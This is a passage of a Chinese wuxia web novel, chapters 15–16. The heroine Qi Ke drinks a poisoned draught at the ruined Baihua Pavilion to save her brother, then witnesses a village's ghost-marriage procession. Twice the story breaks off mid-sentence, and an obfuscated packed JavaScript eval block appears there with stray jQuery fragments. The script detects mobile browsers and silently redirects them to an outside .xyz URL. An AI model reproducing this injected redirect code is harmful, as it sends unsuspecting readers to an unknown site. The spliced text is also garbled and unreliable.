“老伯!”齐珂伸手拍拍面前已经开始双手合十,闭眼祈求天佑的车夫:“落霞村百花阁,这几年可还有人在?”
“百花阁?”车夫睁开眼:“夫人说什么呢?百花阁十多年前就荒废了,好好一座宅子,如今成了废宅,听说啊……”他小心翼翼地环顾四周,好像封闭的马车里也有恶鬼索命似的,压低声音神神秘秘道:“而且,那座宅子闹鬼,听说每年九月十七晚上,常听见有女鬼哀嚎,哭声凄厉,方圆几十里都能听见呢!”
“就没人去看看?”
“哪敢呢!村头算命的老爹说,顾家世代行医,积善积福多,阳气重,连顾家都压不住的鬼,哪是我们寻常百姓敢去瞧的。”说到此,他有些叹惋:“唉!可惜啊,原本顾家还在的时候,不仅落霞村,邻近几个庄子的百姓有病有痛都能找顾大夫问问,顾大夫常义诊,你别说,一帖药下去,身子立马就舒坦了,那么好的医家就这样没了,如今只有咱们秋水港还有一位游医在,但半吊子本事,月头才治死了一个,唉!”
“顾老阁主,实乃一代侠医。”
齐珂沉声点了点头。顾问医毒双绝,曾豪言:“我愿天地炉,多衔扁鹊身。遍行君臣药,先从冻馁均。”一生救人无数,不附权贵,唯为穷苦人祛病延年。当年加入八杰,也并非受陛下所指,而是因痛心穷人无道,误歧途以身试药,方才求了向老前辈入八杰,抗魔教,救无辜药人于水火。
如果不是他,那些被强行抓过去试药的普通人,死伤会更多。
但是对齐珂而言,记忆中的顾问是个精瘦精瘦的小老头,一双明亮如星辰的眼睛,转的都是鬼点子。一点没有悬壶济世,仙风道骨的医仙模样。相反,他十分不着调,最喜欢捉弄人。
齐珂年幼的时候,顾问常去云清宫,每次去都给她带一篮子奇奇怪怪的毒虫,有一回用透明罐子抓了几十只长相奇丑的多脚虫子,躲着齐晗,神神秘秘地把齐珂拉到一边:
“淬了毒的知了,只要接触到皮肤,皮肤上就会长满密密麻麻的脓包!好好养起来,繁殖可快!”
齐珂信了他的邪,真把这一罐子毒知了带回自己的院子养,繁殖确实快,一生生一窝,床头脸盆练武场,随处可见,碰到的人不少,就是谁都没中招,她还以为是不是自己饲养方式错了,导致毒知了没了毒性,直到齐晗揪着她的耳朵怒吼:
“齐珂,你疯了吧,你居然在宫里养蜚蠊!!看我不打断你的腿!!”
狗/屁毒知了,分明就是一罐子蟑螂!
还有一回,祖母闭关,顾问来云清宫闲着没事干,就拉着彼时才五岁的齐珂去隔壁山上,美其名曰万丈之巅,奇珍颇多,说不准能采到些稀罕东西制药,山上多雪松,他就摘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803059|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叶子当场研了雪松汁给齐珂抹外衣,说是避虫。
结果呢,虫子是避了,天气严寒,山顶覆雪,确实没有什么毒虫,但经不住顾问这糟老头去惹冬眠的毒蛇!毒蛇被扰了清净,又闻到齐珂身上的雪松香,一路追赶了她数十里,把她吓得哇哇大哭,幸好年纪虽小,功夫不错,这才蛇口脱险。顾问这个做长辈的呢,在一旁笑得前仰后合,还兴奋地对哭得上气不接下气的齐珂作出正面评价:“天生武胚,可造之材,未来定能在江湖中闯出一片天地。”
不过,顾问当时应该没想到,被他寄予厚望的这个天生武胚,十一年前救下谢明后就退隐江湖,过上了混吃躺平的日子。
十数年过去,今日离百花阁仅仅一步之遥,这些记忆不仅没有模糊,反倒越发清晰,真叫人唏嘘。
“夫人见过顾老阁主?”车夫看见他的表情,好奇问道。
“有幸见过几面。”
“所为……?”
“帮——”齐珂撇嘴,可恶的向玉,找死说他们二人是夫妻!她皮笑肉不笑:“帮我家官人治脑子!”
“顾老阁主神通!如今向公子看着……”
话音未落,车外的狂风呼啸骤然比方才更烈更猛,天地仿佛倒转一般,山野间有如猛兽嘶吼,车厢发出支离破碎的呻/吟,车厢外骏马嘶鸣,马蹄高踏,车厢震颤不已,引得车中的几人前仰后合。
“完了!完了完了!”刚恢复了一点人样的车夫又嚎丧起来:“夫人,我们都要命丧于此了!呜呜呜!老天爷啊!!哎哟喂!!我的屁股!!”
忽然,马车猛地一顿,几人稳不住身子向前扑去,车夫前面没有阻挡,咕噜噜滚下车。
齐珂飞快按住谢明和君莫,但身形不稳,暗骂一声身子向后仰倒,原本做好了给这两人做肉垫的准备,谁知后背被一双湿热的手稳稳托住,空气中隐隐传来沁人的梅香,那只手掌心滚烫,灼热的温度透过衣服传到齐珂后背,她禁不住起了一身鸡皮疙瘩。
四周万物静止,风息沙落,重新传入耳畔的是细密的秋雨打在车厢上的声响,向玉有些沙哑却比往日更添一份磁性的声音传来,声音中隐隐含笑:“与美人同生共死的机会,还是留给在下吧,不劳烦阿伯!”
“向玉!”齐珂自己都没有注意到,这一声呼唤中居然藏着几分惊喜。
向玉眼眸一弯,顿时波光粼粼,他只身闯阵,身上却未沾尘土,雨幕中他的样子有些模糊,看不真切,风吹起他粉色的衣衫,衣袂飘飘,仿若谪仙,髣髴兮若轻云之蔽月,飘飖兮若流风之回雪,她再次感叹,向玉真的很漂亮,比宫中她最爱的辛夷,云华,菖蒲,百合还要漂亮千百倍!
齐珂竟然看得有些痴了,直到车外传来车夫的惊叫:“土太岁去了!”
她意识到自己的失态,把谢明和君莫重新放回车座上,慌忙移开视线,向玉却看穿了她失神一瞬的心思,唇角绽开一个勾心入骨的笑意,荡漾着痞气:
“我懂~我都懂~”
“你懂个屁!”齐珂气急败坏推开他,掀开车帘,前方哪里还有半点金轮巨石阵的痕迹,刚入秋,草色依旧青青,秋雨滴答落在一片青葱里,空气中没有刺鼻的沙土味,反而是淡淡的雨腥气。
车夫揉着摔疼的屁股,目瞪口呆看着前方:“乖乖!神了神了!”
“你……”向玉撩起袍子上车躲雨,带着湿气的外袍不经意划过她的脖子,她不由自主一抖,转头看他。
这一眼,她才发现向玉脸色煞白,只有两颊上的潮/红更盛,原本还有点血色的双唇被雨水沾湿,水光粼粼,但水波后的唇色却了无生气。可这人精神看上去竟然还不错,对上齐珂的视线,他抬起头,眸子里漾满了笑意,宛若一汪春水,邀功似的:
“阵——破了!怎么样,珂珂,这下,你……”
可话还没说完,他像是提着的一口气终于散了似的,眼睛一翻,脱力向前扑倒进了齐珂怀里。
怀中的人身子滚烫,他的头无力地垂在齐珂的颈窝间,呼出的热气喷在她的脖子上,齐珂下意识伸手环住他的腰,他的腰很细,一只手就能圈住:
“喂!向玉!向玉,醒醒!你别倒下啊!我一人拖三个,这不扯淡吗?向玉!”
她略有些冰凉的手抚上他的额头,温度灼人,这下好了,若是寻不到医家,再拖上个把时辰,真得给他治脑子了。
“夫人。”车夫掀开车帘探头,齐珂摸索着从向玉的衣衫里掏出一锭碎银子丢给他:
“立刻去百花阁!要快!”
15. 落霞村“囍”嫁
百花阁位于落霞村最西头,前后五进大宅,荒废多年,外面杂草丛生,沿院墙有几株古树,枝叶凋零,半黄的树叶犹如翻飞的蝴蝶,在枝头飘摇,门上写着“百花阁”三字的牌匾腐旧,房屋破败,窗棂半朽,阁前一片杂草地,荒草离离,随风摇曳,景象十分凄凉。
“夫人,您来这儿做什么?荒弃这么多年,连个人影都没有。”车夫扛着向玉,齐珂怀中抱着谢明,左手套了一根绳子,绳子的另一端拖着君莫,车夫看了一眼把荒草地拖出一道印子,灰头土脸的君莫,暗暗打量齐珂,这等力气,这等折磨人的手段,这位向夫人,怕是不能惹的。
“这不是有人在吗?”
院里传来隐隐药香,一缕白烟从后院袅袅升起,仿佛听到有孩童轻唱:“此时情绪此时天,无事小神仙~”
齐珂看了一眼阴云密布的天空,这歌谣唱得半点不应景:“走吧!”她手上抱着谢明,踢开百花阁吱呀乱叫,爬满泥泞青苔的大门,回头:“走啊!”
车夫惨白着一张脸站在原地,双腿打摆子,闻言如梦初醒一般,身子止不住地颤抖:“不不不!夫人,我……我就不去了……向……向公子,给……给您。”
“怎么了?”
“这宅子里有鬼!您没听到小孩子唱歌吗?我还要归家,我不去我不去!”话还没说完,百花阁里的孩童换了一首曲子,稚嫩的童声从院墙里传来:“日上三竿我独眠,谁是神仙,我是神仙~”
“啊!”车夫魔怔似的尖叫,把向玉猛地向前一推,转身撒腿就跑。
“喂!”齐珂来不及接他,不省人事的向玉脸朝下直直扑进荒草地里,溅起零星的泥点子,手指微动,等齐珂凑过去,竟然听到小腿高的荒草丛里传来他咂嘴的声音,半晌迷迷糊糊道:“美人儿~美人儿该洗澡了~”
“我这是造得什么孽!美人你个头!”齐珂愤愤踢了他一脚,费力把人扶起来,冲着百花阁里扬声喊:“阁中可有人在?烦请搭把手!”
院子里的歌声戛然而止,过了好一会儿,门扉半开,先探出来一个肉嘟嘟的脑袋,瞧见一行人,这才把门全开,出来一个穿着深蓝色衣袍圆滚滚的孩童,脸是圆的,肚子也是圆的,约莫七八岁的年纪,见到门外拖着三个大男人的齐珂,小跳步跑近,拱手一礼:“可是齐姐姐?”
“齐姐姐?你说的应该是我!你家大人呢?得先把这三个搬进去。”
“只有我在,公子让我在此处等您,说不出三日,必会有一位貌若天仙的姐姐过来,想不到这才一日,姐姐就来了。我来吧!”
“貌若天仙~”齐珂压不住嘴角,看那孩子走近:“喂!小孩儿,你扛得……猛啊!”
齐珂打量这孩子身高,个头还不到她胸口,原想还是不劳烦孩子动手,谁知那大胖小子直接从他手里接过向玉和君莫,一肩一个稳稳扛起来,步履稳健在前面带路,俨然一副小大人模样:“姐姐里面请!”
沿着抄手游廊穿过三个月洞门,一路皆是断垣残壁,房屋破损不堪,有几处屋舍房檐都破损大半,但看这布局,长廊上每隔几步都有一扇不同形状的花窗,有石榴形,扇形,梅花形,透过花窗,有枯了的花丛,横斜的树影,断了一半的小桥,干涸的溪涧,原本也应该是一步一景的雅致庭院,光阴荏苒十数年,竟已是这番景象。
“小兄弟,你家公子是何人?”齐珂跟着他一路走,药效过去,谢明隐约有苏醒的迹象,在齐珂的怀里开始挣扎,她紧紧抱住谢明。
“齐姐姐叫我不二吧!公子取的名字,我家公子姓燕。姐姐小心此处台阶。”
“燕?你家公子真是姑苏淮中坞燕家后人?”
“不知道。”不二摇摇头,带着齐珂走进第四进东厢房,难得一处屋顶没有破损的屋子。屋子正中一个小火炉,火炉上摆着药罐,淡淡的檀香味,闻着叫人神清气爽。
火炉一侧铺着草席,一方薄被褥整齐地叠在草席上,不二把人放下,齐珂也小心翼翼地托着谢明的头把人放在草席上,拉开被子搭在他的身上。
她起身,看着草席上并排躺着的三人,挑了挑眉毛:“这画面怎么看上去怪怪的?”
“公子带着我收拾病故的可怜人,都是用这草席裹的。”不二认认真真地回答,坐回火炉旁:“齐姐姐要先救哪位公子?”
“自然是他!”齐珂指谢明:“被那个混蛋下了断肠粉,不二,你可有解药?”
不二用帕子包着药罐,给齐珂倒了一碗浓郁的药汤:“不难解,只是公子不让轻易解。”
“有何要求尽管提,只要我能做到,还请救我弟弟性命!”她没有接药碗,反而起身对着不二恭敬行了一礼,不二举着手,执拗地一定要她接下,不答反问:“姐姐不喝吗?”
他的眼睛和他的人一样,也是圆溜溜的,满眼尽是无辜,齐珂看向那碗深黄色的汤药,额上的青筋跳动,可谢明的情况再经不起奔波耽搁,眼前人是她最后的希望,齐珂深吸一口气,耐着性子道:“不二,药里有天仙子,这是剧毒。你此举何意?”
不二咧开嘴笑起来,满是这个年纪调皮孩童的天真无邪:“公子吩咐,这世间阴阳调和,生死自有定数,神仙有言,浩瀚天地,死生相伴,有生还必有死亡,生死何道,唯抉择而已。”
齐珂拳头在身旁攥紧,咽了咽口水,涩声道:“燕公子的意思是,我和阿明只能活一个?”
“不知道。”不二仍然举着手:“姐姐要喝吗?”
“我喝了你一定会救吗?”
不二摇头:“公子留下三个锦囊,齐姐姐喝下此药后,将锦囊中的事情做完再谈生死吧。姐姐放心,天仙子里多添了两位药草,能延缓毒发,公子说凭齐姐姐修为,定能在毒发前将事情完成,届时必将断肠粉解药奉上。”
“好算计!”齐珂咬牙切齿:“若是完不成,不仅阿明没救成,还将我的命也搭进去,不二,你家那位燕公子是魔教派来的奸细吧,说是救人,却打了一手将我们一网打尽的鬼算盘!”
“齐姐姐,公子不是这样的人,姐姐,这药,喝与不喝全在你。”
齐珂转头看向谢明,对比身旁一动不动躺着的两人,谢明在昏迷中仍能感受身上千刀凌迟般的痛苦,他的身子转向一侧蜷缩着,脚背绷直,膝盖狠狠顶着上腹:“阿姐……阿姐快跑……”
她的心紧紧揪在一起,八岁那年,妹妹齐瑜惨死在自己她的面前,此后三年黑暗无边,直到她十一岁,在云策山庄救下谢明,这个在发带上绑上小铃铛的少年来到了她的身边,此后相依相伴,一起度过十三年岁月。
“小屁孩儿,你知不知道,高手都忌讳暴露行踪,你在脑袋后面绑铃铛,和那帮暗杀别人之前还要自报家门的蠢货有什么区别?”
彼时坐在她腿上,任由齐珂给他扎头发的小娃娃往她的嘴里塞上一颗圣女果:“我绑了铃铛,阿姐就能找到我啦,哪怕周围黑漆漆一片,只要我晃晃脑袋,阿姐也会知道,阿明在!”
齐珂笑着揉揉他的头,嘴上说他傻缺,却还是认认真真地在他的发带上绑上两枚珍珠大小的凤羽铃铛,暴露踪迹又如何,她已入大乘幻境,江湖之上鲜有敌手,一个孩子,她能护得住!那个时候,齐珂刚过十三岁生辰。
她记得,那天,那一盘子圣女果都很甜,比往日的都要甜。
可二十三岁的她,没能护住谢明,她深深望了眼草席上的少年,果断从不二手里接过药碗一饮而尽。汤药入口酸涩,苦透肝肠:“多久会毒发?”
“六个时辰。”不二从怀里掏出三枚锦囊,递给齐珂:“齐姐姐,六个时辰内,姐姐做完这三件事再来寻我,我会给谢哥哥解毒的。”
齐珂把锦囊打开第一个锦囊,里面又是一张玄策纸,字迹是标准的行楷,笔翰如流,笔力雄健,有横扫千军万马之势,上书五字:
坐看邻里事。
“就这?”齐珂不解:“什么意思?”
“不知道。”不二去翻看君莫和向玉。
“去哪儿看?”
“不知道。”
“看多久?”
不二还是摇头:“不知道,姐姐,粉衣哥哥内力耗损严重,又发着高烧,吃两剂治风寒的药后需好好修养几日,切莫再随便动用内力了,这位姐姐……这是哥哥?!他身上骨头错位,待会儿我熬副续骨养筋的药汤,喂下后再给他接骨。”
“你看着办!”齐珂有些烦躁:“凡事总有目的,坐看邻里事,目的为何?”
“不知道。”
“你改名吧,别叫不二,叫不知!一问三不知!”眼见根本问不出什么,齐珂丢下一句照顾好他们,转身愤愤离开。
外面不知何时乌云散去,空气中是洗涤浑浊过后的青草香,齐珂往村中心走了一段路。快到卯时,有几家的烟囱里冒出喷香的灰白色炊烟,可是说来奇怪,有炊烟,有烛火,可条条村路,为何不见奔跑玩闹的稚童,打渔归来的樵夫?
“丫头,下次我带你去百花阁玩儿!”小时候,顾问把她抱在怀里,齐珂津津有味地吃着他用辣椒,小炸鱼还有蜈蚣串成的糖葫芦,听顾问道:“暖暖远人村,依依墟里烟,落霞村可比你们云清宫热闹多了,日暮西山,漫天霞光瑰丽,散学孩童赶着嘎嘎乱叫的鸭子归家,渔夫樵夫提着鱼筐背着粗枝儿一路哼哈笑骂,做好饭菜的女人们站在村头家门口吆喝自家男人孩子麻溜滚回家去,沿路再唠些家长里短,邻里闲话,与你家地处山巅与尘俗隔绝的云清宫相比,那地方才有生活~”
“骗人!”齐珂叼了一根杂草,喝下去的药汤渐渐发挥作用,却不是肝肠绞痛,而是从四肢指尖蔓上来的酸麻,她调整内息,在一处农舍后的草堆上坐下休整片刻:“什么鸭子孩童渔夫樵夫,路上连只土狗都没有!”
天色渐渐昏暗下来,面前的农舍里点了灯,隔着纸糊的窗户,红烛摇曳,隐约能看见对面前墙上贴着的大红喜字,床上的女人脸遮红方巾,红杉红裙红裤,红色绣花鞋。像是感受到齐珂透过窗户看过来的目光,新娘子缓缓转头,看向窗外,烛火将她的身影拉长,头戴方巾的影子投到红喜字上,将那个“囍”字的一半,双喜左右开,一阴一阳,说不出的诡异。
“药的作用?”齐珂觉得自己汗毛竖起,搓了搓胳膊。
“啪!”农舍的后门被撞开,冲出来一个灰头土脸的半大小子,身上衣服裂开,碎布下面有两道触目惊心的棍痕。他连滚带爬撞出来,把就坐在院后草堆上休息的齐珂吓了一跳。
小孩猛地刹脚,瞥见齐珂腰间挂着冰蓝色长鞭,跌跌撞撞朝她扑过来:“女侠!救命!救救我娘亲!求您救救我娘亲!!”
齐珂身子后仰,见了鬼似的使劲把自己的裙摆从小孩儿手里揪回来,邪门了,她就坐着休息一会儿,居然也有破事儿找上门:“我不是女侠,别烦我!”
她起身欲走,但刚一站起来就头昏眼花,赶紧扶住一旁的草垛,小孩子见状又扑过来,这回抱着她的大腿哀求:“女侠!求求您救救我娘吧!嫁给鬼将军,她会没命的!求您了!求您了!”
“鬼将……?”齐珂话音未落,从房子前面绕过来一个身形魁梧,手持烧火棍的中年男人,看见孩子抱着一个面生的女子嚎哭,怒火中烧,上前揪着孩子的后领,一把把人拽起来:“你讨死,老子还想活命呢!天要黑了!走,跟我回去!等鬼将军一走,看老子不打断你的腿!!”
“不要!女侠!女侠!”
“啪!”棍子打在皮肉伤发出一声闷响,齐珂眼前冒金星,正在用内力压制蹿上来的僵麻感,没有来得及出手阻止,手臂粗的棍子锤在孩子的后背,他闷哼向前倒去,又被男人拽回来:“走!给老子回去!”
“喂……”齐珂伸手。
男人回头狠狠瞪住她,眼睛通红,血丝仿佛是喷薄而出的烈焰:“你是凌霄宫的人?老子警告你,少多管闲事!你们这些狗屁江湖名门,需要你们的时候一个个不见踪影,这会子出来逞英雄,晚了!滚!!”
说完,拽着还在奋力挣扎的孩子进屋,门砰得一声被关上,齐珂一抖:“喂!有病吧!朝我吼什么呀!我都要死了,才懒得管你家闲事!凌霄宫?我呸!老娘是云清宫的人!等等……”
齐珂停下叫骂,这儿是凌霄宫地界?
江湖上有一个不成文的规定,武林门派需要保护自己门派立身之地方
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803060|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圆百里的普通百姓,原本百花阁强盛之时,落霞村应该是由百花阁庇护,但十余年前百花阁败落,这儿也就划分给了十六宫之一的凌霄宫。
凌霄宫不见人影?也对,他们举宫都去投奔云清宫了,这儿没人也说得过去。
至于那什么鬼将军……这又是什么狗/屁玩意儿?没听说过。
“啪!”齐珂愤懑拍了拍自己的脑袋,叉腰自言自语:“管它鬼将军,仙将军,齐珂啊齐珂,和你有半毛钱关系,生龙活虎的时候不愿管旁人事儿,这都要死了,还要转/性当英雄?那是——必不可能的!”
坐看邻里事!重点在看,又不在管。
感觉到自己内息调整得差不多,她起身再往前走,但走得越深,她后背的凉意越重,这是一座……喜村?!
黑砖石,贴喜纸,大红灯笼高高挂。暮色合,红烛亮,红布盖头,红丝缠腕,嫁姑娘!
从西头走到东头,布置了喜房的人家足有十一户!可落霞村哪里有嫁娶的气氛?而且今日,齐珂心里发毛:
八月二十三,宜嫁娶,宜安/葬。
妈/的!见鬼了!齐珂不自觉握紧腰上的血月,穿过一条小路往西走,想先回百花阁,但转过两个弯,面前一栋窗门俱开的房舍,风吹动喜台上摇曳的红烛,坐在喜床上的姑娘没有盖红绸方巾,如一尊没有生气的蜡像,静静坐在床上,风吹动窗前桂花树的枝干,黄花飘落,给树下几坛女儿红盖上一层薄纱。
第十二户。
齐珂咽了口唾沫,房中的女子就在这时看了过来,正好和齐珂四目相对。
她的眼眸漆黑,黑如深潭,不知其想,齐珂觉得她好像在看自己,又好像根本没有在看自己,对上她投来的视线,齐珂只好尴尬冲人笑笑,直到那女子轻声道:
“姑娘远道而来,可否与妾身同饮一杯女儿红?”
齐珂想走,理智告诉她应该走,后两个锦囊还没有打开,她只剩不到六个时辰的寿命,要救阿明,就不该在此地耽搁,更何况,不理闲人,不管闲事,是她一直以来的原则。
但不知为何,她的双脚就像被钉在原地一样,大抵是树下那几坛女儿红太香,她给自己找了一个还算合适的理由。
齐珂点头应下,从树下搬了一坛女儿红,翻窗进去,揭开上面的红布,醇厚的酒香夹杂着淡淡的桂香扑面而来:“好酒!”
她叹了一声,床上的姑娘没有起身,齐珂索性自己动手,给两人各倒了一碗,走到床边坐下递给她:“多谢今日盛邀,只是这份情,我怕是还不了了!”
她仰头灌下一大碗米酒,溢出的酒水顺着脖子流到她火红色的衣领里,两人同着红衣,齐珂红得热烈,床上娘子的红衣却已有暮色。
“啊!”她豪气地抹了把下巴上的酒渍:“今朝有酒今朝醉,想不到走前还能喝上一碗好酒。”
女子静静看她喝完,唇边绽起淡淡的笑,用长袖掩面,轻抿了一口,酒烈,她不胜酒力,才尝了一小口就捂着嘴一阵呛咳,直到苍白如雪的两颊绯红,才平缓气息,淡淡道:“不必还。”
“什么?”
“姑娘若要还这顿酒,我也承不了了。所以,就当请姑娘吃一场无菜的酒席,不必还。”
齐珂看着她身上的红衣,有一瞬的沉默,手指抠着碗边,心中万般纠结,默了默,还是问道:“今日为何这么多人办喜事?瞧你们的样子,出嫁是在……晚上?你若不想说可以不说,我就是……就是吃了你的酒,免不得问两句。”
后半句更像是说给自己听的。
“姑娘猜出来了吧。”女子抬眼看向窗外那株桂花树,又低头轻抿了一口女儿红,咳嗽两声,声音凄然:“树下的酒是阿爹在我出生那年埋下的,今日却等不得阿爹起封。”
“你爹在天之灵……”
“他没死。”女子打断齐珂的话:“我就要去见阿爹了。”说到此,她哀婉的眼神里瞬间有了神采:“鬼将军接亲,到了那处,就能见到阿爹了。”
“可这不是冥……”齐珂狠狠掐了自己一把——叫你多管闲事!她无奈叹了口气,转向那个姑娘:“鬼将军究竟是何人,冥/婚是恶/俗,为何落霞村十余户人家都要去配冥/婚?哪个混蛋玩意儿想出的没/屁/眼的交易!!”
“一命换一命。”看到齐珂义愤填膺的模样,女子轻笑着摇了摇头:“女子不嫁,男子丧命,以女人还一命,顶好的生意!姑娘一路行来,可看清那些新娘模样?”
“只有你……”
“方巾下,有豆蔻少女,有窈窕少妇,还有头发花白的老媪,鬼将军一次接14人,家里只要有女人的,都免不了被献出去。”
“如果不嫁,他们会拿男人们怎么样?”齐珂想到村头见到的第一个孩子,怪不得,他求她救的是母亲。
“不知道。”女人摇头:“到如今,被抓去的男人没有人回来。”
“那还继续嫁?疯了吧!”齐珂摔碗:“我说,男人被抓走就被抓走呗,明知嫁女无用,反正回不来,干嘛还要再把女人搭进去?!”
“没用的。”她摇摇头:“若是不允嫁,鬼将军的人会当场将家中男人斩杀。”她指指脖子:“刀口如六瓣雪花,霜华封喉,滴血不见。”
“等等!你说什么?六瓣雪花?!”齐珂脸色陡然一变:“你亲眼看到了?你确定?!”
那姑娘不知道她为何如此激动,但一想到,身上别着武器的女侠说不定是凌霄宫的弟子,武林中人,对各门派功法熟悉,她闻之惊讶也不奇怪:“我确定。”
刀口如六瓣雪花,霜华封喉,滴血不见……
二十三年前,姑苏淮中坞灭门,河水清清无尘,坞中滴血未沾,但燕家满门脖子处都有一朵晶莹剔透的六瓣雪花。
“我要离开一会儿,等会儿过来,你们何时出嫁?”齐珂急急问。
“此刻。”
话音刚落,忽然苍茫的夜色下,唢呐十里,霎时红屑飞舞,白布飘扬,喜台上香烛火断,红色的喜帕遮住床上女子最后的哀婉,手中未饮完的女儿红落地。村头哀乐齐鸣,听得一声恶鬼凄厉高呼:
“起轿————”
16. 他美得像只猫猫
“这样不行,我帮你干掉……”齐珂话没说完,床上的女子握住她的手:“子衿。”
“什么?”
“我的名字,青青子衿,子衿。”
唢呐声渐至,沿路有小/鬼嬉笑着敲锣打鼓。齐珂余光瞥见窗外村道上的已经靠过来的大红喜轿,捏了捏子衿的手,咕噜滚到床底,红绸落下,她只能看见子衿的一双红色绣花鞋。鞋上的鸳鸯没有眼睛。
鬼将军和当年灭燕家满门的人或有关系,祖母与顾燕两位前辈交好,去世前仍在后悔未能查出淮中坞灭门真凶,还有子衿……
齐珂一咬牙:一堆破事儿,非管不可了!
窗边的喜乐哀乐交鸣,她伸手摸上腰间的血月,屏息静候。
“嘎吱——”半掩的门扉被推开,屋内脚步声嘈杂,能听见铁链拖地的声音。有人在抬箱子。
齐珂暗暗运起内力——该死!那种从四肢传上来的酸麻感随着真气在体内游走,早不来晚不来,可别在这时候掉链子!
她小口吐息,手按住胸口,摸到衣领处一处突出的部分——是锦囊!
子衿还没有被接走,外面小鬼唱念着:“新嫁娘,新嫁娘,红花轿上新嫁娘,泪汪汪,过山岗,盖头下莫把笑扬!新嫁娘,新嫁娘……”
子衿的脚边有水珠落下,有小鬼在往天上洒水,空气中弥漫出一股血腥味儿——血?!
齐珂管不了其他,皱眉悄悄打开第二个锦囊,里面是一个素净的小纸包,她小心翼翼地听着外面的动静,将纸包打开——溯空粉。
齐珂眉心微跳,她有些明白那位燕公子的意思,外面铁链拖地的声音停了一会儿,洒水的小鬼尖着嗓子喊:“吉时到,上花轿!”
齐珂眼疾手快,倒了一把溯空粉在自己手上,子衿起身,红色的衣摆拖地,她找准机会,从床底飞速伸出手在她的衣服上抹了一把。
唢呐声再次响起,窗外吹来一阵晚风,卷进几朵飘落的桂花,淡黄色的花朵染上被风裹挟着吹进床底,带着淡淡的酒香,在满屋子令人作呕的血腥味里显得格格不入。
有一朵沾到齐珂手上,她的手里亮起青紫色的荧光,唱打声远去,她闭了闭眼,声上的乏力感比刚离开百花阁时更重,察觉到四周无人,她这才从床底出来。
屋子四壁贴着的大红喜字上都染上了血迹,桌山的喜烛被吹灭,黑烟打着摆子,扭曲又可怖。
迎亲的队伍接完所有的新娘离开落霞村,周边房舍渐渐传来压抑的哭泣声音,齐珂攥紧拳头,那个燕公子让她坐看邻里事,目的就是为了发现鬼将军,鬼嫁娘,再留下线索,日后可寻?
可为何要借她之手?又或者说为何是让她——一个将死之人知道此事?
她从怀里掏出最后一个锦囊,里面仍然是一张玄策纸,纸刚一被拿出来,扑鼻的香气让齐珂连打了几个喷嚏。
玄策纸,藏红花——这货真他娘的有钱!
她展开纸,上面简单五字:浇水,一百桶!
莫名奇妙!齐珂呸了一声:和鬼新娘的事有半毛钱关系,浇水,还一百桶,浇哪儿啊?百花阁门前那片枯草地?
她白眼翻上天,心中烦闷,拿着这张纸扇风,幽幽的甜香飘过,她手一顿——纸上熏的是藏红花香料的味道,她识得这种香,是皇城琼林院卖的香水,一小瓶值千金,以前云之恒给她带过一盒子。
百花阁后一座矮山,当年顾问还在时在山上种满了奇珍异草,其中就有番红花,番红花又名藏红花,可以治天花和猩红热,她幼年染上天花,顾老前辈就是带着这东西去云清宫的。
她没再停顿,轻功如踏飞云,不一会儿功夫就攀上后山,果不其然,半山腰药田连绵,但除了不怎么需要打理的,其他精细的药田都已经荒废多时,但属于藏红花那片田却不难找。
因为这是移植过来的药草,落霞村的自然气候不适宜它生长,所以顾问特意搭了几处棚子,模拟它们原本的环境,棚子现如今已尽破烂,但只要仔细一一看过,不难找出属于它的田地。最主要的,田边靠着的一长两圆,长扁担旁两水桶,太新了,就差直接在水桶上写上——齐珂打水专用。
可是,浇一百桶水……落霞村总共就两处水井,靠西的早年被封了起来,另一个要横跨整座村,河边更远,打水更加不现实。
“玩呢!故意的吧!靠!”齐珂看了一眼田边靠着的水桶,一脚踢上去,水桶咕噜咕溜顺着阶梯田往下滚,齐珂双手叉腰,深吸一口气,看着还在往下“奔跑”的木桶,长鞭猛地甩出,认命地将水桶勾回来:
“不就是一百桶水吗?不就是水吗?!我行!我一定行!——去他奶奶的,累死老娘算了!”
忽然,她脑中灵光一闪,眼珠咕噜噜一转,唇边勾起一抹坏笑:“嘿嘿,还得是我啊~”
话落,抛下扁担,一手一个木桶,飞身仅仅几个踏步就跃上山顶,山脚下的落霞村,可怖的冥/婚过后,幸存者们掌了灯,从山顶看下去,灯火犹如繁星点点,可这星星半点不美。她极目远眺,村东头的水井旁有一户人家,灯火通明,不仅照出墙上未被撕下的喜字,还将一旁的水井也照了出来。
“不就是一百桶水嘛!”齐珂胸有成竹,手中真气汇聚,忽然振臂出手,袖中竟然射出一根红色软绸,绸带绑着木桶飞驰而下,那绸带像是没有尽头似的,在夜空下犹如一条火红的长龙朝山下水井飞窜出去。
水袖?!不,水袖系铃,但这条红绸上除了水桶,什么都没有绑,这是云清宫独门功法——流云飞袖!
她身子一旋,手臂挥舞,水桶脱离红绸腾空,绸带忽然偏了一个方向,竟然勾起一旁衣架上挂着的被单,红绸飞舞,竟然和被单系上一个死结延续长度,如此几次,水桶重新被系在已经五颜六色的拼接绸缎上,水桶落井,扑通一声。
齐珂高喊一声“起!”
红袖欲飞月下舞,一舞照影,一姿倾城:“哗!”
满满一桶井水悉数洒在身后的藏红花田里:“也耗不了多少力气嘛,全当练功了。”
这回,双袖翻飞,月空下,山之巅,佳人红衣烈烈似霞染,飘然转旋,宛若惊鸿。
齐家软兵器冠绝江湖,流云飞袖扭转星河,是武亦是舞!
